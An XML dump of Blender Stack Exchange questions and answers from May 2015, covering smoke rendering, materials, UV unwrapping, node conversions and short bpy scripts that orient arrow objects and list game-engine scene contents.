  <row Id="31401" PostTypeId="1" CreationDate="2015-05-24T15:49:07.153" Score="1" ViewCount="976" Body="&lt;p&gt;i had created a simple scene and tryed a litle bit with smoke...&#xA;i can see the smoke in the solid mode, but not in the render mode...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PqJjy.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can´t also see the option GPU...&lt;img src=&quot;https://i.stack.imgur.com/gVhse.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14573" LastActivityDate="2015-05-24T15:49:07.153" Title="(Blender Cycles 2.74) can´t see smoke on the render image" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31402" PostTypeId="1" CreationDate="2015-05-24T16:36:32.767" Score="1" ViewCount="953" Body="&lt;p&gt;I'm trying to create a gold foil material for a mesh.&#xA;My first attempts work quite well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y9jEl.png&quot; alt=&quot;Suzanne with my material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the material in the node editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRA5y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I have to export my object to an .x- or .obj-Format. Well, I can, but I does not export my gold foil.&#xA;I know I can use the  Displace-Modifier, but it's not working correctly - espacially because I just want to apply the material of some parts of the &#xA;mesh.&#xA;Any solutions? Can I apply the changes by the displacement node to the mesh?&lt;/p&gt;&#xA;" OwnerUserId="6445" LastActivityDate="2015-05-24T16:36:32.767" Title="Gold foil material for export" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31403" PostTypeId="1" CreationDate="2015-05-24T16:40:33.067" Score="4" ViewCount="2359" Body="&lt;p&gt;I have just added image sequence as texture and when i play the timeline the texture goes to next frame automatically why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B0jpq2cgNh8zNTFKZzJaZjI5WFU/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here are the source blend + image files please check&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/u-H0xmViiFQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video of the error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pbuer.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2015-05-25T10:52:50.950" LastActivityDate="2017-12-29T02:22:09.313" Title="Cycles why image squence texture is automatically animating?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31404" PostTypeId="2" ParentId="31403" CreationDate="2015-05-24T16:48:33.047" Score="6" Body="&lt;p&gt;You need to animate the 'offset' value of the image node. The offest needs to decrease by one for every one frame you go forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on frame 5, you would need to make the offset '-4' as you have gone forward 4 frames (from frame 1):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xxFxT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even though you have gone forward it will still show frame 1 of the image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was frame 7 you would offset by '-6' frames to still only show frame 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWNPu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The following only works for the viewport, not the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 'Auto Refresh' turned on on your image nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6jpp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn this off if you don't want the frames to update automatically on frame changes.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-05-25T11:34:41.867" LastActivityDate="2015-05-25T11:34:41.867" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31405" PostTypeId="1" AcceptedAnswerId="31407" CreationDate="2015-05-24T17:20:41.817" Score="4" ViewCount="3052" Body="&lt;p&gt;I need to orient a various number of arrows on the screen, each need to point to a direction calculated by Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python have calculated the end points of each arrow (say tail at (0,0,0), tip at (1,1,1)). How do I place an arrow between those two points, with the tail and tip at the correct spot with scripts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current plan is place the tail, then calculate the degree of rotation needed to get to the right direction, then rotate it. Is there potentially an easier/more direct way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optional: If the code does not scale the arrow, that's fine, as long as the arrow point in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="14576" LastEditorUserId="47" LastEditDate="2015-05-25T06:49:56.640" LastActivityDate="2017-08-23T17:37:10.977" Title="Blender Orient an object (displaying Vector Arrows)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31406" PostTypeId="2" ParentId="31405" CreationDate="2015-05-24T17:42:08.890" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider a &lt;strong&gt;[Track To]&lt;/strong&gt; constraint  which will rotate the arrow toward the location of a given target.  The green arrow points to the red ball below, wherever the ball happens to be.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Rp9S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the animation below we see a few alternatives with constraints and modifiers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0nrtq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The blue arrow is a curve in case you find the straight lines excessively boring.  Circular cross section bevel. The curves has hook modifiers for the end points.  A third point is added into the blender curve to introduce more [visual curve] into the blender curve. The visual curve is optional. The green cap is position with a [follow path] constraint.  Of course this flexibility requires more work.&lt;/li&gt;&#xA;&lt;li&gt;The yellow arrow is an array modifier fit to curve straight line&lt;/li&gt;&#xA;&lt;li&gt;The large green arrow is the [track to] constraint as before&lt;/li&gt;&#xA;&lt;li&gt;The hook constraints&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9iHEM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-24T20:48:59.370" LastActivityDate="2015-05-24T20:48:59.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31407" PostTypeId="2" ParentId="31405" CreationDate="2015-05-24T18:01:32.117" Score="2" Body="&lt;p&gt;Full credit should go to: &lt;a href=&quot;https://blender.stackexchange.com/questions/19533/align-object-to-vector-using-python?rq=1&quot;&gt;align-object-to-vector-using-python&lt;/a&gt; for the API usage of &lt;code&gt;Quaternion&lt;/code&gt; and &lt;code&gt;to_track_quat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;downside to the following methods:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;They aren't dynamic, unlike the &lt;a href=&quot;https://blender.stackexchange.com/a/31406/47&quot;&gt;proposed method that uses constraints&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Single Size Arrows&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Model the arrow once, make duplicates :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import mathutils&#xA;from mathutils import Vector&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;arrow_mesh = bpy.data.objects['ArrowObject'].data&#xA;&#xA;vectors = [&#xA;   [(0,0,1), (0,0,0)],&#xA;   [(0,1,0), (0,0,0)],&#xA;   [(1,0,0), (0,0,0)],&#xA;   [(1,1,1), (0,0,0)]   &#xA;]&#xA;&#xA;for head, tail in vectors:&#xA;    v1, v2 = Vector(head), Vector(tail)&#xA;&#xA;    # duplicate mesh into new object.&#xA;    obj = bpy.data.objects.new(&quot;Arrow_duplicate&quot;, arrow_mesh) &#xA;&#xA;    obj.location = v2&#xA;    obj.rotation_mode = 'QUATERNION'&#xA;    obj.rotation_quaternion = (v1-v2).to_track_quat('Z','Y')&#xA;    scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure to have the Arrow's object origin on the tail, and coinciding with the axis of the Arrow. (just in-case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhkMG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be worth mentioning that this code won't stretch the arrow to exactly fit between head and tail vectors, but it will place the arrows tail/origin at exactly the tail vector and point to the correct head-vector.  As soon as you need the arrow to fit exactly between the two vectors you introduce a different problem, with several solutions &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Adaptive arrow scaling&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;description: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- A cone which you can orient given similar code&#xA;- A stem which takes orientation and scaling in its length-wise axis.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9HDks.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import mathutils&#xA;from mathutils import Vector&#xA;&#xA;scene = bpy.context.scene&#xA;objects = bpy.data.objects&#xA;&#xA;arrow_stem_mesh = objects['Arrow_stem'].data&#xA;arrow_cone_mesh = objects['Arrow_cone'].data&#xA;arrow_cone_height = 0.448  # for example..&#xA;&#xA;vectors = [&#xA;   [(0,0,1), (0,0,0)],&#xA;   [(0,1,0), (0,0,0)],&#xA;   [(1,0,0), (0,0,0)],&#xA;   [(1,1,1), (0,0,0)],&#xA;   [(2,2,2), (3,3,3)],&#xA;   [(4,4,2), (2,2,2)],&#xA;   [(4,4,3), (2,0,0)]&#xA;]&#xA;&#xA;for head, tail in vectors:&#xA;    v1, v2 = Vector(head), Vector(tail)&#xA;&#xA;    # Scale the Stem, and add to scene&#xA;    obj = bpy.data.objects.new(&quot;Arrow_duplicate&quot;, arrow_stem_mesh)&#xA;&#xA;    obj.location = v2&#xA;    obj.scale = (1, 1, (v1-v2).length)&#xA;    obj.rotation_mode = 'QUATERNION'&#xA;    obj.rotation_quaternion = (v1-v2).to_track_quat('Z','Y')&#xA;    scene.objects.link(obj)&#xA;&#xA;    # orient Cone, and add to scene&#xA;    obj2 = bpy.data.objects.new(&quot;Arrow_duplicate&quot;, arrow_cone_mesh)&#xA;    obj2.location = v1   # start at tail and work back&#xA;    obj2.rotation_mode = 'QUATERNION'&#xA;    obj2.rotation_quaternion = (v1-v2).to_track_quat('Z','Y')&#xA;    scene.objects.link(obj2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The .blend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/241/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=241&quot; /&gt;&lt;/a&gt;  (just hit run)&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-05-25T07:02:04.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31408" PostTypeId="1" AcceptedAnswerId="35922" CreationDate="2015-05-24T18:38:45.600" Score="5" ViewCount="2490" Body="&lt;p&gt;This is what I see when I try to render smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/nuaST7W.png&quot; alt=&quot;This&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The smoke itself renders okay, but there is a problem that the domain cube itself casts a shadow. How do I solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;material of the domain object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BKd6v.png&quot; width=&quot;400&quot; height=&quot;600&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14577" LastEditorUserId="5113" LastEditDate="2015-05-25T22:52:22.967" LastActivityDate="2015-08-18T08:56:54.440" Title="Blender Smoke Domain Cube casts a shadow" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31410" PostTypeId="1" CreationDate="2015-05-24T18:46:57.723" Score="1" ViewCount="281" Body="&lt;p&gt;I got an issue with a mesh I created.&#xA;I unwrapped it, baked it, and exported to a game in the proper format.&#xA;The thing is that is looks like the UV mapping got mix in some triangles (areas) of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BNWFp.png&quot; alt=&quot;Mesh looks fine in Blender - UV unwrapped and Bake&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/frY2d.jpg&quot; alt=&quot;Mesh in game - ETS2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14578" LastActivityDate="2015-05-24T18:46:57.723" Title="Problem with UV mapping/bake AO" Tags="&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="31411" PostTypeId="1" CreationDate="2015-05-24T19:00:38.387" Score="2" ViewCount="4251" Body="&lt;p&gt;I have a simple scene set up, with a fluid object, a domain and an obstacle. When I press bake, nothing happens at all - there's no indicator that it's doing anything and nothing changes in the scene itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried recalculating normals, increasing and decreasing the resolution and exporting the animated mesh, but nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36207&quot; rel=&quot;nofollow&quot;&gt;Here's the blend file.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14579" LastActivityDate="2015-11-20T23:01:49.147" Title="Fluid won't bake" Tags="&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31412" PostTypeId="2" ParentId="31411" CreationDate="2015-05-24T19:35:02.687" Score="2" Body="&lt;p&gt;For the life of my I don't know why, but to get it to bake you need to make your domain more like a cube. Scaling it along the z axis until it was about as tall as it is wide worked for me. &lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-05-24T19:35:02.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31413" PostTypeId="1" AcceptedAnswerId="31426" CreationDate="2015-05-24T19:44:15.703" Score="1" ViewCount="2931" Body="&lt;p&gt;Can I assign a module to an empty or an object in my scene and when I run it to be able to define all the scenes, all their objects, all their sensors, their controllers and their actuators?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how? and if not, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="3078" LastEditDate="2015-05-25T22:29:34.637" LastActivityDate="2015-05-25T22:29:34.637" Title="How to list all scenes, objects, sensors, controllers, actuators, etc" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31414" PostTypeId="1" CreationDate="2015-05-24T20:06:26.007" Score="8" ViewCount="4766" Body="&lt;p&gt;I'm following this CG Cookie &lt;a href=&quot;https://vimeo.com/17885651&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a tree mesh, and loaded the image. But there is no &quot;UVs&quot; menu, where I could find the &quot;unwrap&quot; function. There is only &lt;code&gt;View&lt;/code&gt; and &lt;code&gt;Image&lt;/code&gt;. After them should be located the &lt;code&gt;UVs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3pCCN.jpg&quot; alt=&quot;no UVs menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14580" LastEditorUserId="2217" LastEditDate="2015-11-22T22:48:48.607" LastActivityDate="2018-03-16T10:37:22.890" Title="Why is &quot;UVs&quot; menu not visible?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31415" PostTypeId="2" ParentId="31394" CreationDate="2015-05-24T20:41:01.627" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/nodes/intern/node_socket.c$270&quot; rel=&quot;nofollow&quot;&gt;node_socket_copy_default_value()&lt;/a&gt; seems to be responsible for moving data between node sockets, but it doesn't go along with the real behavior so I may be wrong, and here is some links further invistigation :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenkernel/BKE_node.h;025a64611423debe329514d7fe7f110937753eff$83&quot; rel=&quot;nofollow&quot;&gt;node related definitions&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/nodes/&quot; rel=&quot;nofollow&quot;&gt;node directory in source code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-24T20:46:14.777" LastActivityDate="2015-05-24T20:46:14.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31416" PostTypeId="1" CreationDate="2015-05-24T20:41:04.177" Score="0" ViewCount="1780" Body="&lt;p&gt;I know how it works in Autodesk Maya but I prefer Blender more. The problem is that in Graph Editor animations curves are not Bezier curves and it's not handy to use for animation. This way I can't handle the animation curves completely as in Maya. Here is example. &lt;a href=&quot;https://www.youtube.com/watch?v=RGuHdP_b3sk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=RGuHdP_b3sk&lt;/a&gt;&lt;br&gt;&#xA;Can you add Bezier curves in Graph Editor?&lt;/p&gt;&#xA;" OwnerUserId="14581" LastEditorUserId="2217" LastEditDate="2015-05-24T23:37:40.970" LastActivityDate="2015-05-25T01:11:35.160" Title="Blender graph editor bezier" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31417" PostTypeId="2" ParentId="31414" CreationDate="2015-05-24T20:45:08.937" Score="8" Body="&lt;p&gt;That menu shows up in Edit mode, and only when the mesh is already UV unwrapped.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Click on the images to get a larger view)&lt;br&gt;&#xA;Object mode:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ppegK.png&quot; rel=&quot;noreferrer&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/ppegK.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit mode, not yet unwrapped:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/l0n8i.png&quot; rel=&quot;noreferrer&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/l0n8i.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit mode, unwrapped:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TWjI1.png&quot; rel=&quot;noreferrer&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/TWjI1.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To unwrap, make sure you're in Edit mode, then hit &lt;kbd&gt;U&lt;/kbd&gt; or click Mesh &gt; UV Unwrap and select a suitable option from the menu that shows up.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZdBMm.png&quot; rel=&quot;noreferrer&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/ZdBMm.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-05-24T20:45:08.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31418" PostTypeId="1" CreationDate="2015-05-24T20:46:20.390" Score="3" ViewCount="11311" Body="&lt;p&gt;There seem to be a few people encountering this problem since I've found no answers online. I just rendered an animation but I need to render it again as the keyframes didn't match up properly because of the lag. I haven't changed any settings or anything since my last render (I think). Has anyone else encountered this problem/know the solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2016-07-11T01:43:39.777" Title="Cannot Open Or Start AVI Movie File?" Tags="&lt;rendering&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31419" PostTypeId="2" ParentId="31394" CreationDate="2015-05-24T21:25:28.930" Score="4" Body="&lt;h2&gt;RGB(A) to Value&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is neither a weighted sum nor the max channel (as is the case for Value in HSV) - instead it's something I don't understand at all, something to do with the black magic of color management, but I'm happy to write it here anyway :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;node_shader_valToTgb.c&lt;/code&gt; is the function &lt;code&gt;node_shader_exec_rgbtobw&lt;/code&gt;, which calls &lt;code&gt;IMB_colormanagement_get_luminance(col)&lt;/code&gt;. Inside that function, we have &lt;code&gt;dot_v3v3(luma_coefficients, rgb)&lt;/code&gt; - the dot product of the input color and some apparently random numbers at the top of that file: &lt;code&gt;luma_coefficients[3] = { 0.2126f, 0.7152f, 0.0722f };&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recreating that as a node setup in blender gives the same result as you'd get from plugging the color into a Color Ramp node or RGB to BW node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dJpn8.png&quot; alt=&quot;rgb-v&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube render is black meaning the difference = 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shader nodes are always only RGB and never include an alpha channel. However, in the compositor they do. When converting RGBA to a Value in the compositor, the alpha channel is simply ignored - only the RGB values are used.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;RGB(A) to Vector&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The alpha channel is simply discarded - Red becomes X, Green becomes Y, Blue becomes Z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can prove this by plugging a render into a Vector Curves node, and plugging that into a Viewer node - notice that the background becomes black (as the RGB values in that space were all 0):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kPS7L.png&quot; alt=&quot;rgb-vec&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Vector to RGB(A)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's simply the opposite of what's said above. X becomes Red, Y becomes Green, Z becomes Blue. The alpha is always assumed to be 1.0.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Anything to Shader&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the one exception - nothing is ever automatically converted to a shader, the result is always simply black, no matter what color or value you plug into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think this design is silly - if you plug a color straight into the material output (without going through any shaders first), you're expecting the result to be &lt;em&gt;shadeless&lt;/em&gt;. But alas, this is not the case.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Value to RGB(A)/Vector&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is pretty obvious I think, but just for completeness: Whatever the value is becomes the same for each channel/axis when converted to RGBA/Vector (though the alpha channel simply = 1)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Have I missed anything?&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-05-24T21:25:28.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31420" PostTypeId="1" CreationDate="2015-05-24T21:31:49.797" Score="2" ViewCount="540" Body="&lt;p&gt;I'd like to know how to get rid of the black borders that are created when I scale down or offset the x or y of a movie overlay on top of another movie. I'm using a chroma keyed video on top of another video but when I use a scale node to make the character in the chroma keyed video smaller it shrinks the whole frame and leaves black borders around the underlay video. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14582" LastActivityDate="2015-07-31T22:11:45.423" Title="How to get rid of out of frame black borders around a scaled down movie overlay" Tags="&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31421" PostTypeId="1" AcceptedAnswerId="31423" CreationDate="2015-05-24T21:38:02.373" Score="0" ViewCount="5401" Body="&lt;p&gt;My material will not assign to the selected vertices. I pressed the assigned button, but it still isn't working.&lt;/p&gt;&#xA;" OwnerUserId="13828" LastActivityDate="2018-03-26T21:45:33.400" Title="Material will not assign to selected vertices" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31422" PostTypeId="2" ParentId="31413" CreationDate="2015-05-24T22:35:57.647" Score="1" Body="&lt;p&gt;The following code will list all loaded scenes, objects and thier sensors; controllers and actuators :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scenes = bge.logic.getSceneList()&#xA;for scene in scenes :&#xA;    print(&quot;scene : %s&quot;%scene.name)&#xA;    for obj in scene.objects :&#xA;        print(&quot;   object : %s&quot;%obj.name)&#xA;        for sensor in obj.sensors :&#xA;            print(&quot;      sensor : %s&quot;%sensor.name)  &#xA;        for cont in obj.controllers :&#xA;            print(&quot;      controller : %s&quot;%cont.name)      &#xA;        for actu in obj.actuators :&#xA;            print(&quot;      actuator : %s&quot;%actu.name) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-24T22:35:57.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31423" PostTypeId="2" ParentId="31421" CreationDate="2015-05-24T22:59:31.910" Score="1" Body="&lt;p&gt;The first material is assigned to the whole object by default , to un-assign some faces from this material you'll have to :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create another material slot ( with a material ) &lt;/li&gt;&#xA;&lt;li&gt;assign these faces to the new material slot&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-24T22:59:31.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31424" PostTypeId="1" AcceptedAnswerId="31425" CreationDate="2015-05-24T23:43:50.580" Score="28" ViewCount="42869" Body="&lt;p&gt;What cross-platform (or cross-browser) resources are available to help make texture maps for generating  &lt;a href=&quot;https://www.youtube.com/watch?v=NbCr0UyoFJA&quot;&gt;beautiful&lt;/a&gt; planetary &lt;a href=&quot;https://www.youtube.com/watch?v=VGvnJDRr6HI&quot;&gt;images&lt;/a&gt; using Blender (Cycles)? Ideally, these would include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Terrain maps (colour, land, ocean, lakes, rivers, mountains, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Height maps (normal and bump)&lt;/li&gt;&#xA;&lt;li&gt;Specular masks (land mask)&lt;/li&gt;&#xA;&lt;li&gt;Cloud maps&lt;/li&gt;&#xA;&lt;li&gt;Gas giants&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2811" LastEditorUserId="5426" LastEditDate="2015-05-29T20:49:30.460" LastActivityDate="2019-09-22T20:46:23.543" Title="Planet texture generator" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="16" 